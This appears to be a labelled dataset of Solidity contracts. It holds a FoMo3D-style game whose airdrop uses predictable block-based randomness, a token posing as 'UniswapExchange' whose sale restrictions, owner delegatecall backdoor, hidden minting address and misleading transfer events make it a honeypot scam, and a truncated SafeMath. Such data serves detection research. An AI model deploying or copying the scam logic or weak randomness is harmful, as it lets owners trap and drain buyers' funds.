(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
admin.transfer(_com);
round_[_rID].pot = _pot.add(_p3d);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = _now.sub(((_keys) / (1000000000000000000)).mul(rndInc_));
else
_newTime = round_[_rID].end.sub(((_keys) / (1000000000000000000)).mul(rndInc_));
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d;
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 1,284 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,011 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
